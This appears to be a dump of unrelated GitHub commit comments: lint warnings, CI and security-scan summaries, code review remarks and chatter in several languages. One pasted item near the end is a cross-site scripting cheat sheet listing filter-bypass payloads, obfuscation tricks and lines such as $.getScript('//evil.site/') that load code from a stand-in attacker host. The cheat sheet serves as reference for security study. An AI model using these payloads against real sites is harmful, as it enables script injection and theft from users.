[R/plotting-diagrams.R:329:36:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting-diagrams.R#L329) *style:* **Variable or function name should be lowerCamelCase.**
```r
                                   vertex.shape,
                                   ^~~~~~~~~~~~
```
[R/plotting-diagrams.R:330:36:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting-diagrams.R#L330) *style:* **Variable or function name should be lowerCamelCase.**
```r
                                   vertex.label.cex,
                                   ^~~~~~~~~~~~~~~~
```
[R/plotting-diagrams.R:331:36:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting-diagrams.R#L331) *style:* **Variable or function name should be lowerCamelCase.**
```r
                                   vertex.label.family,
                                   ^~~~~~~~~~~~~~~~~~~
```
[R/plotting-diagrams.R:345:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting-diagrams.R#L345) *style:* **Lines should not be more than 100 characters.**
```r
          c(nchar(namesModDia)^0.8 * 10) # use exponential to stretch out, and multiplication to make all bigger
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/plotting-diagrams.R:443:22:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting-diagrams.R#L443) *style:* **Only use double-quotes.**
```r
    if ((Sys.info()[['sysname']] == "Darwin") && (Sys.which("glpsol") == "")) {
                     ^~~~~~~~~
```
[R/plotting.R:6:31:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting.R#L6) *style:* **Variable or function name should be lowerCamelCase.**
```r
                              na.color, zero.color, length){
                              ^~~~~~~~
```
[R/plotting.R:6:41:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting.R#L6) *style:* **Variable or function name should be lowerCamelCase.**
```r
                              na.color, zero.color, length){
                                        ^~~~~~~~~~
```
[R/plotting.R:37:25:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting.R#L37) *style:* **Variable or function name should be lowerCamelCase.**
```r
                        na.color, zero.color, length) {
                        ^~~~~~~~
```
[R/plotting.R:37:35:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting.R#L37) *style:* **Variable or function name should be lowerCamelCase.**
```r
                        na.color, zero.color, length) {
                                  ^~~~~~~~~~
```
[R/plotting.R:86:22:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting.R#L86) *style:* **Put spaces around all infix operators.**
```r
      eval(parse(text=deparse(elems[[useElem]])), envir=tmp@.envir),
                    ~^~
```
[R/plotting.R:86:56:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting.R#L86) *style:* **Put spaces around all infix operators.**
```r
      eval(parse(text=deparse(elems[[useElem]])), envir=tmp@.envir),
                                                      ~^~
```
[R/plotting.R:87:12:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting.R#L87) *style:* **Put spaces around all infix operators.**
```r
      error=function(x) eval(parse(text=deparse(elems[[useElem]])), envir=envir))
          ~^~
```
[R/plotting.R:87:40:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting.R#L87) *style:* **Put spaces around all infix operators.**
```r
      error=function(x) eval(parse(text=deparse(elems[[useElem]])), envir=envir))
                                      ~^~
```
[R/plotting.R:87:74:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting.R#L87) *style:* **Put spaces around all infix operators.**
```r
      error=function(x) eval(parse(text=deparse(elems[[useElem]])), envir=envir))
                                                                        ~^~
```
[R/POM.R:131:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/POM.R#L131) *style:* **Lines should not be more than 100 characters.**
```r
#' @param objFnCompare Character string. Either, "MAD" or "RMSE" indicating that inside the objective
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/POM.R:190:12:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/POM.R#L190) *style:* **Variable or function name should be lowerCamelCase.**
```r
           NaNRetries = NA, logObjFnVals = FALSE, weights, useLog = FALSE) {
           ^~~~~~~~~~
```
[R/POM.R:200:25:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/POM.R#L200) *style:* **Variable or function name should be lowerCamelCase.**
```r
                        NaNRetries, logObjFnVals, weights, useLog) {
                        ^~~~~~~~~~
```
[R/POM.R:217:28:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/POM.R#L217) *style:* **Variable or function name should be lowerCamelCase.**
```r
    if (is.na(NaNRetries)) NaNRetries <- 1
                           ^~~~~~~~~~
```
[R/POM.R:241:11:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/POM.R#L241) *style:* **Variable or function name should be lowerCamelCase.**
```r
          sim_ <- Copy(sim)
          ^~~~
```
[R/POM.R:259:11:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/POM.R#L259) *style:* **Variable or function name should be lowerCamelCase.**
```r
          POMFrameNum <- .grepSysCalls(sys.calls(), pattern = "POM")
          ^~~~~~~~~~~
```
[R/POM.R:260:13:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/POM.R#L260) *style:* **Commented code should be removed.**
```r
          # scallsFirstElement <- lapply(sys.calls(), function(x) x[1])
            ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/POM.R:261:13:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/POM.R#L261) *style:* **Commented code should be removed.**
```r
          # POMFrameNum <- grep(scallsFirstElement, pattern = "POM")
            ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/POM.R:263:53:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/POM.R#L263) *style:* **Put spaces around all infix operators.**
```r
          envPOMCalled <- sys.frame(min(POMFrameNum)-1)
                                                   ~^~
```


Should be '== -1' for the index.


https://github.com/libretro/RetroArch/pull/7187
https://github.com/libretro/reicast-emulator/pull/256


The following doc(s) have been deployed to the [httpsandh](https://httpsandh-static-docs.pantheonsite.io/docs) Multidev environment:
- [/docs/http-to-https](https://httpsandh-static-docs.pantheonsite.io/docs/http-to-https)
- [/docs/hsts](https://httpsandh-static-docs.pantheonsite.io/docs/hsts)
- [/docs/pantheon-yml](https://httpsandh-static-docs.pantheonsite.io/docs/pantheon-yml)


I actually didn't need to change libretro because there was a define in place that looks like it was created for just this purpose


This is no longer OSS, and you need to have contributors agree to this license changed.


@DougGregor  - fyi for some reason - I'm seeing the latest toolchain as of Sep 7th -  assert this error if ENABLE_TESTABILITY = YES in build settings of xcode project.
You can recreate with this project and enabling this - https://github.com/johndpope/SwiftReinforce
it's the same as this error here - https://github.com/tensorflow/swift/issues/60


Hello, I'm trying to update some code that uses this operation: `_obtain_input_shape`. I can see that this was removed in this commit but I can't find any clue of where is it now.

My question is, how should I import it now? I was using it as `from keras.applications.imagenet_utils import _obtain_input_shape`.

Thanks


I am happy to see someone is interested in this piece. I have (since my last commits ) recently added a bit of mobile responsibility too, but that would maybe create a conflict if you decide to create a PR to me. And i would be happy to see that ;)


Please ignore. Jipan pointed out to me that the handler has been emptied. I saw the removal of the lock that got me worried but I should have looked at the entire diffset.


test delete


I've removed them, as they're actually unused.  Although conceptually they still exist, we're just mocking a Token up for them (this is actually the same as before, there was just an error with method invoked on one of the read paths that threw me.  I'm not actually thrilled about it, but it makes the code easier so not worth changing right now).  But, think of writes that don't actually have a specific token - say, hint migrations or batch log writes.  They're not logically for any given hint.  The way we handle these should be revisited at a later date, and I will comment them now, as well.


Copy of this build can be found at https://www.mewbuilds.com/build/50f7b2de621c736e43bd6308c5d0072dbe09b49d/index.html


Yes but it needs to find both frame_idx and task.


@Rohanator9000 The image alt text should also be in a lang file.


Or discover the camel case and let them know to fix them globally. That's the spirit of opensource anyway...
By rule in technical translation you need to stick to the original, I used camel case even though I do not like it because I had to follow the original string and there is no way between 10.000+ lines to know exactly what the "poet" means!
Sometimes the coding is so bad that no one even understands what is meant to be said anyway. Take LCD display settings for instance. That's barely English... what kind of choices a translator has? Stick to the original or do interpretation?
For the moment it is what it is. But trying to improve the original coding is an even better practice rather than making things on your own judgement.


Testing again.


FixVRFFTCHRDefrostCurveType (mjwitte) - x86_64-Linux-Ubuntu-14.04-gcc-4.8-UnitTestsCoverage-Debug: OK (1740 of 1740 tests passed, 0 test warnings)

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.png) ![Test Badge](http://img.shields.io/badge/tests%20passed-100.0%25-green.png) ![Coverage Badge](http://img.shields.io/badge/coverage%20status-40.89%25-green.png)


Didn't realise this could call new, will fix and check if it's null.


Checkmarx scan results 08 Sep 2018 02:37 UTC +03:00

High
Medium
Low
Info

New
0
0
0
0

Recurrent
0
0
0
0

Fixed
0
0
0
0

 Open Viewer
Included commits

Commit ID	Owner

a23cad998261c81bf63aa21ac681a2e8b5303e7c	@web-flow


FYI: enums do not have to appear in a class. you can move them to their own file. I would prefer if you did, but no points off for it


Uh … what happened here?


Caso volte como estava será capaz de rodar a imagem que esta na pasta media.


No link in your app takes me here


Or here


Composed by @radsy of [InfoSecNZ](https://github.com/binarymist/infosecnz)


You should make this private, you don't want someone not knowing they need to call BookAppointment in order to add a new appointment with all the checks


Copy of this build can be found at https://www.mewbuilds.com/build/8fefa5e09a7195588c9cb569725eaece5b961088/index.html


## Jenkins Build Summary

Built from [this commit](https://github.com/ximinez/rippled/commit/dd74c91fc6c1ff959d6aca15aef9a9224591feca)

Built at __20180907 - 23:43:10__

### Test Results

Build Type | Log | Result | Status
---------- | --- | ------ | ------
rpm | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/rpm.txt) | 1036 cases, 0 failed, t: n/a | PASS :white_check_mark:
msvc.Debug | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/msvc.Debug.txt) | 1033 cases, 0 failed, t: 597s | PASS :white_check_mark:
msvc.Debug,
NINJA_BUILD=true | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/msvc.Debug_NINJA_BUILD_true.txt) | 1033 cases, 0 failed, t: 619s | PASS :white_check_mark:
msvc.Debug
-Dunity=OFF | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/msvc.Debug_Dunity_OFF.txt) | 1029 cases, 0 failed, t: 1239s | PASS :white_check_mark:
msvc.Release | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/msvc.Release.txt) | 1033 cases, 0 failed, t: 400s | PASS :white_check_mark:
gcc.Release
-Dassert=ON,
MANUAL_TESTS=true | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/gcc.Release_Dassert_ON_MANUAL_TESTS_true.txt) | 1101 cases, 0 failed, t: 931s | PASS :white_check_mark:
docs | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/docs.txt) | 1 cases, 0 failed, t: 2s | PASS :white_check_mark:
gcc.Debug
-Dcoverage=ON | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/gcc.Debug_Dcoverage_ON.txt) | 1036 cases, 0 failed, t: 902s | PASS :white_check_mark:
clang.Debug | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/clang.Debug.txt) | 1036 cases, 0 failed, t: 281s | PASS :white_check_mark:
gcc.Debug | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/gcc.Debug.txt) | 1036 cases, 0 failed, t: 295s | PASS :white_check_mark:
clang.Debug
-Dunity=OFF | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/clang.Debug_Dunity_OFF.txt) | 1032 cases, 0 failed, t: 649s | PASS :white_check_mark:
gcc.Debug
-Dunity=OFF | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/gcc.Debug_Dunity_OFF.txt) | 1032 cases, 0 failed, t: 264s | PASS :white_check_mark:
clang.Release
-Dassert=ON | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/clang.Release_Dassert_ON.txt) | 1036 cases, 0 failed, t: 400s | PASS :white_check_mark:
gcc.Release
-Dassert=ON | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/gcc.Release_Dassert_ON.txt) | 1036 cases, 0 failed, t: 419s | PASS :white_check_mark:
gcc.Debug
-Dstatic=OFF | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/gcc.Debug_Dstatic_OFF.txt) | 1036 cases, 0 failed, t: 296s | PASS :white_check_mark:
gcc.Debug
-Dstatic=OFF -DBUILD_SHARED_LIBS=ON | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/gcc.Debug_Dstatic_OFF_DBUILD_SHARED_LIBS_ON.txt) | 1036 cases, 0 failed, t: 298s | PASS :white_check_mark:
gcc.Debug,
NINJA_BUILD=true | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/gcc.Debug_NINJA_BUILD_true.txt) | 1036 cases, 0 failed, t: 272s | PASS :white_check_mark:
clang.Debug
-Dunity=OFF -Dsan=address,
PARALLEL_TESTS=false,
DEBUGGER=false | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/clang.Debug_Dunity_OFF_Dsan_address_PARALLEL_TESTS_false_DEBUGGER_false.txt) | 1032 cases, 0 failed, t: 663s | PASS :white_check_mark:
clang.Debug
-Dunity=OFF -Dsan=undefined,
PARALLEL_TESTS=false | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2/14//artifact/clang.Debug_Dunity_OFF_Dsan_undefined_PARALLEL_TESTS_false.txt) | 1032 cases, 0 failed, t: 1161s | PASS :white_check_mark:


I don't think you meant to make that href be a hash, or maybe you did? ¯\_(ツ)_/¯


Composed by @radsy of InfoSecNZ


Install Tesseract as described [here](https://groups.google.com/forum/#!topic/tesseract-ocr/u-PZaakaKs0), then you're good to go.


There is a better way to do this that does not require the user to type in the name exactly. Ids are a much better way to work with something on the server side.


Puzzle `539-e6f6dde5` disappeared from [`shopelectro/views/catalog.py`](https://github.com/fidals/shopelectro/blob/master/shopelectro/views/catalog.py), that's why I closed #556. Please, remember that the puzzle was not necessarily removed in this particular commit. Maybe it happened earlier, but we discovered this fact only now.


This test is testing your fake repository, not your actual one. So it doesn't count as test coverage for your Repository.cs file


Puzzle `550-87015712` discovered in   [`shopelectro/context.py`](  https://github.com/fidals/shopelectro/blob/master/shopelectro/context.py)   and submitted as #566. Please, remember that the puzzle was not   necessarily added in this particular commit. Maybe it was added earlier, but   we discovered it only now.


Puzzle `550-c08f412e` discovered in   [`shopelectro/context.py`](  https://github.com/fidals/shopelectro/blob/master/shopelectro/context.py)   and submitted as #567. Please, remember that the puzzle was not   necessarily added in this particular commit. Maybe it was added earlier, but   we discovered it only now.


Puzzle `550-6e482196` discovered in   [`shopelectro/context.py`](  https://github.com/fidals/shopelectro/blob/master/shopelectro/context.py)   and submitted as #568. Please, remember that the puzzle was not   necessarily added in this particular commit. Maybe it was added earlier, but   we discovered it only now.


Puzzle `550-035b850e` discovered in   [`shopelectro/context.py`](  https://github.com/fidals/shopelectro/blob/master/shopelectro/context.py)   and submitted as #569. Please, remember that the puzzle was not   necessarily added in this particular commit. Maybe it was added earlier, but   we discovered it only now.


>
-	compile 'net.dv8tion:JDA:3.7.1_419'
+	compile 'com.github.DV8FromTheWorld:JDA:e0aab87'
does this mean its gonna be possible to self host? 👀


I would recommend a `<select>` input here. This is just too hard for a user to know what they have to type exactly.


lol. This is not the commit where that line was introduced though


just changing the formats for style.


It also would let you solve your problem I mentioned here: https://github.com/Briexmac/netcore-workbook/commit/4d5476f63432e9bcb8e7e7aea65d2e1cbddca16b#r30436684


Copy of this build can be found at https://www.mewbuilds.com/build/296b6fa7f959ae076a5580af4888df0193a57b9f/index.html


this line wasn't needed to run the code.


@davidbirchwork, we seem to have got the wrong download link here. The ImageTiles service now requires a much newer version of .NET. The link originally provided by @jamesscottbrown does have an Installation section, within which there is a link to a different page which calculates and give you a single accurate download link for the latest runtime for your OS, which AFAIU is what we want. So, this line in this commit does not seem to be required.


kaprekar number starts from 1


Name added, just in case


you cannot return boolean type when the method is constructed to return integer type


log errors were correctly fixed


Well we already sort of blogged about the challenge at https://www.sifive.com/blog/2018/09/06/an-open-source-release-of-the-freedom-u540-c000s-bootloader/

So, with my SiFive hat on, we can provide some further guidance on the official challenge rules next week.

Now, if I put my farmer hat on and speak for myself, I'll send you as many soybeans as you care to eat if you submit a pull request of human readable and modifiable source code that compiles a zsbl.bin that comes close to the bootrom.bin.

Currently, I could still farm with old equipment that I can actually repair and replace, and does not have binary blobs to boot the engine controllers like anything released in the last 10 years. This is not going to be the case much longer, and I think the future of human food production is going to require fully open-source hardware.

The desired result I'd like to personally see is a whole lot of people looking at this code, the RiscV architecture, and how we can build hardware and software that is reproducible, repairable, and replaceable 50 or 100 years from now.


modulus * 10 will result 0 * 10 which is still 0, so converted to 1, instead.


You are throwing these nice error messages that tell the user what is wrong, but then you don't send that info to the page for them to see it 😢


Noted by @parsley72 of [InfoSecNZ](https://github.com/binarymist/infosecnz) on #cloud-security channel


:blobglare:


The following doc(s) have been deployed to the [3843s3mod](https://3843s3mod-static-docs.pantheonsite.io/docs) Multidev environment:
- [/docs/platform-considerations](https://3843s3mod-static-docs.pantheonsite.io/docs/platform-considerations)


@potiuper I think it should be clear (but maybe it should be stated explicitly) that a legitimate entry will consist of small tweaks to the C source code or possibly compiler or linker options to persuade the compiler to produce the same output. Maintaining the human readability of the source code is essential -- getting away from inscrutable binary blobs is the whole point of this code release!


class TelephoneDirectory{
	String name;
	int mobilenumber;

TelephoneDirectory(String n,int mn)
			{
				name =n;
				mobilenumber =mn;
			}
				void display()
				{
				System.out.println(name +" "+mobilenumber);
				}
			public static void main(String[] args)
				{
				TelephoneDirectory TD = new TelephoneDirectory("Mohan", 123);
				TD.display();
				}
}


Hi guys, sorry for interrupting. I've just started following xAPI development and hope to contribute to anything that I could do. I see you guys referring to IEEE Tech Report and standard. What are they? Could you give me a hint so I can study them?


This was a fix and not a feat.


![](https://github.trello.services/images/mini-trello-icon.png) [Integrate with GitHub](https://trello.com/c/pWQkH4go/95-integrate-with-github)


@ridiculousfish interesting reads, thanks for including those links.


把参考代码复制过来后, 方法名要改掉, 跟你这个方法要实现的内容匹配


nihao


Rename `petals` to `petal_labels` and `labels` to `dataset_labels` everywhere


Unnecessary 💯


Checkmarx scan results 07 Sep 2018 06:11 UTC +03:00

High
Medium
Low
Info

New
0
0
0
0

Recurrent
0
0
0
0

Fixed
0
0
0
0

 Open Viewer
Included commits

Commit ID	Owner

a23cad998261c81bf63aa21ac681a2e8b5303e7c	@web-flow


Thanks @bluenex!


LGTM


This is my first repository


~~We will ensure that~~ The upload stream will be restricted...

Also, is the HMAC encapsulated as part of HTTPS? If so, then we should specify it.


Created multidev environment [lawhelp#ci-1178](https://dashboard.pantheon.io/sites/9ec12d94-c804-44b7-968e-166a0b49fdc0#ci-1178).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://ci-1178-lawhelp.pantheonsite.io/)


一些练习python小Demo


Idk what you saying here leh :0


This should be the last commit for this project


M2 Attempt 2


@wwmayer Your patch still causes crash on my branch, so I did some more digging. The difference between my branch and upstream is that I uses a dedicated editing root node in the scene graph to hold the dragger, and inserts a SoTransform node before the dragger to account for parent containers. SoDragger has an internal SoDraggerCache that contains a path from the scene root to itself! Yes, it is holding a reference to itself via a SoPath, which will be cleared on mouse release event. However, that reference is still fragile, as SoPath has internal auditing hook to all its containing nodes. Any child removing will auto update the path, and thus hit on the bugs I mentioned in my PR if there is any sibling node before the dragger itself. It doesn't happen in upstream, because the dragger is directly inserted as the first child of the view provider root node.

Anyway, your patch works fine in upstream, although I think it is better to put the checking [here](https://github.com/FreeCAD/FreeCAD/blob/fd2befe7a7348bbd7d6ade012e53d8beb2fb54da/src/Gui/View3DInventorViewer.cpp#L723), since this coin bug(s) affect all draggers, and there are other view provider uses dragger for editing. Maybe you can also put some comment to warn on putting any sibling node before the dragger.


Were this re-implemented, this line would need also to be placed in `select`.


The long option --list was producing an error message "unknown argument '-v (null)' ".


this is so sad

alexa play despacito


We should possibly assign CB_DEFAULT_INET_GATEWAY_NAME as label?


Uh no


项目描述


리엑트공부 굿굿


Created multidev environment [lawhelp#ci-1181](https://dashboard.pantheon.io/sites/9ec12d94-c804-44b7-968e-166a0b49fdc0#ci-1181).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://ci-1181-lawhelp.pantheonsite.io/)


And I just figured out what the ListenerAdapter is for.


*dabs*


Do we need to fix six to a specific version? Doing so means that everyone who uses cloudbridge is also forced to that version. I think we should keep these base requirements open.


welcome to my friend


oof


Do you still want this named "Drive", or do you want to rename it (so it's like the other classes name, which has "breakout" in it)?


Otherwise, looks good.


cause in the project specification there is this part about "Can people
use your description of the interface you provide to update and transfer records?" So this part i am trying to elaborate on that and serve like a summary hahah. Should i just remove it?


Code too complex and repetitive. Think of a more mathy approach.


Instead of putting //Need to finish// in the commit message, you can add
`// TODO whatever you want to remind yourself to do`
in the code.  Then you can find it in the IDE (at the bottom, there is a TODO drawer).


Its not finished yet man, imma add yo objects in this function and later load from json


Not really, i just wanted to see if it compiled


网站没发布


Table 1: Injection Techniques for Various Parsing Contexts
Table 2: Payload Crafting Techniques to Bypass Filters and Data Validation
Table 3: JavaScript Compositions for Manipulation & Obfuscation

Injection Techniques for Various Parsing Contexts1
Context	State	Injection Example
Data State
(Text node, open tag)		Welcome back, ...
</element>	<title>Search Results for '</title>]]>
Attribute value	Unquoted	<input type=text name=foo value=a>">foo

Base64 data	foo

Alternate character sets	<a href="data:text/html;charset=utf-16,
%ff%fe%3c%00s%00c%00r%00i%00p%00t%00%3e
%00a%00l%00e%00r%00t%00(%009%00)%00
<%00/%00s%00c%00r%00i%00p%00t%00>%00">foo
Alternate markup	SVG	<svg onload="javascript:alert(9)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg">
<g onload="javascript:alert(9)"></g></svg>
<svg>
<svg xmlns="http://www.w3.org/2000/svg">

<rect width="1000" height="1000" fill="white"/></svg>
Untidy markup	Missing greater-than sign

Recover from syntax error	<a href=""&foo

Uncommon syntax	foo
Orphan entity	foo
Vestigal attribute
Anti-regex patterns	Element closed prematurely	"onerror=alert(9)>
Element confusion	<"class="><"src=">"onerror=alert(9)>
Quote confusion	"onerror=alert(9)>
'href=javascript:alert(9)>foo
foo
foo
Quote confusion with element	<img src="\"'"'onerror=alert(9)>
<a id='http://web.site/'onclick=alert(9)
Quote mixing with element	<img src="'"id=''onerror=alert(9)>
Recursive elements	<img src="<img src=''>"onerror=alert(9)>
Repeated attributes (match last occurrence)3	foo
Footnotes
1 HTML5's Content Security Policy headers can neutralize these attacks by preventing the User Agent from executing JavaScript within this context unless the page author is forced to include the "unsafe-inline" directive.
2 The basic format is dataurl := "data:" [ mediatype ] [ ";base64" ] "," data. The scheme is defined in RFC 2397.
3 Per HTML5 spec, "When the user agent leaves the attribute name state (and before emitting the tag token, if appropriate), the complete attribute's name must be compared to the other attributes on the same token; if there is already an attribute on the token with the exact same name, then this is a parse error and the new attribute must be dropped, along with the value that gets associated with it (if any)."
top

JavaScript Compositions for Manipulation & Obfuscation
Technique	Notes	Example
Concatenation	String operators	var a = "foo"+alert(9)//";
Logical operators	var a = "foo"&&alert(9)//";
Mathematical operators	var a = "foo"/alert(9)//";
Function execution	Anonymous	(function(){alert(9)})()
Method lookup	window["alert"](9)
Strings	String object	String.fromCharCode(0x61,0x62)
Regex object source attribute	alert(/foo bar/.source)
window[/alert/.source](9)
Harness functions from a JavaScript library	Angular	angular.bind(self, alert, 9)()
angular.element.apply(alert(9))
Ember JS	Ember.run(null, alert, 9)
jQuery	$.get('//evil.site/')
(site serves alert(9))
$.getScript('//evil.site/')
(site serves alert(9))
$('#main').load('//evil.site/');
(site serves  into selector, e.g. #main)
$.globalEval(alert(9))
Prototype
(Ajax will trigger CORS)	Prototype.K(alert)(9)
new Ajax.Request('//evil.site/')
(site serves alert(9) and CORS headers)
Underscore	_.defer(alert, 9)
_.delay(alert, 0, 9)
_.once(alert(9))
Type coercion	1) Boolean + Object converts to String	false + "" == "false"
![] + []
2) Extract character from String by index	( false + "" )[1] == "a"
( ![] + [] )[1]
3) Compose String from characters	"alert"
(![]+[])[1] +
(![]+[])[2] +
(![]+[])[4] +
(!![]+[])[1] +
(!![]+[])[0]
4) Execute function by method lookup	(window["alert"])(9)
(window["ale"+"rt"])(9)
(window[(![]+[])[1] + (![]+[])[2] + (![]+[])[4] +
(!![]+[])[1] + (!![]+[])[0]])(9)
Footnotes


I think the comments are ok, if you find them useful.


qvm::A<1> is a generic accessor on vectors, accesses index 1. returns reference so we can modify+read

https://www.boost.org/doc/libs/1_66_0/libs/qvm/doc/accessing_vector_elements.html


surf


ok


For the most part, the comments should be delimited by `/**  **/` instead of `/*  */`.  That makes them "javadocs", which can be used by the IDE to show a nice documentation pop-up of the comment.


우리 프로젝트 화이팅!


Executing the daily benchmark build, I will reply here when finished:

@nanosoldier `runbenchmarks(ALL, isdaily = true)`


Created multidev environment [lawhelp#ci-1182](https://dashboard.pantheon.io/sites/9ec12d94-c804-44b7-968e-166a0b49fdc0#ci-1182).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://ci-1182-lawhelp.pantheonsite.io/)


Looking good so far.


发了。


Training Features


Automated Test Suite Message


Nice commit message, btw!


哦不对，changelog 没发上去。


break https://github.com/ant-design/ant-design/issues/12082


Thanks


@lacabra great advice. Thanks!


#33
#32


Cool @lauravignoli, added a test here https://github.com/tmvumbi2/openmrs-module-registrationapp/commit/4b8baad984f28c00b5395c57d61114d51cee7ae4


There is some bug, may the apps will close sometimes


Thanks!


FIxed here https://github.com/tmvumbi2/openmrs-module-registrationapp/commit/3923c2206fda37a3b2520eb96637182fc377a7bb (thx @lauravignoli )


if (nums.empty()) return result;
가 더 좋지 않을까영


Fixed here https://github.com/tmvumbi2/openmrs-module-registrationapp/commit/f1e9552087afc13084e377814872f427b89c9ac0


Hi feudofjustice,
Which Android version this kernel is for. Android 9 or Android 8.1.0.
Couldn't find it in the description.
Thanks


문제는 없는 코드이지만, 이렇게 재귀로 짰을 경우, 공간 복잡도가 log n 인건 숙지하고 있어야 합니당


Good one it works great


![](https://github.trello.services/images/mini-trello-icon.png) [Mäander für probe scan statt zick zack](https://trello.com/c/pgPLB6Qs/12-m%C3%A4ander-f%C3%BCr-probe-scan-statt-zick-zack)


xccx


![](https://github.trello.services/images/mini-trello-icon.png) [Bei komplexen Layouts läuft die Anzeige der Realität deutlich hinterher](https://trello.com/c/MzyU8cUq/11-bei-komplexen-layouts-l%C3%A4uft-die-anzeige-der-realit%C3%A4t-deutlich-hinterher)


@lauravignoli to avoid a name conflict with https://github.com/tmvumbi2/openmrs-module-registrationapp/blob/MOO-15-edit-patient-details/omod/src/main/java/org/openmrs/module/registrationapp/fragment/controller/RegisterPatientFragmentController.java#L450


Checkmarx scan results 07 Sep 2018 07:15 UTC +03:00

High
Medium
Low
Info

New
0
0
0
0

Recurrent
0
0
0
0

Fixed
0
0
0
0

 Open Viewer
Included commits

Commit ID	Owner

a23cad998261c81bf63aa21ac681a2e8b5303e7c	@web-flow


> there would not be a problem for people to update and transfer records from their database to ours as these actions would generally conform to the basis of CRUD

As we discussed, probably just need CR (Create & Read). But Subsystem 4 focuses on Create only. So, actually to create / add data to our database uses an interface that we define; it has nothing to do with MySQL.

> In addition, our interface description is simple enough to understand and be used by people.

Haha I think this sentence doesn't quite value-add ><


omg


Automated Test Suite Message


영어 번역 분량 변경


Adding lobby pic


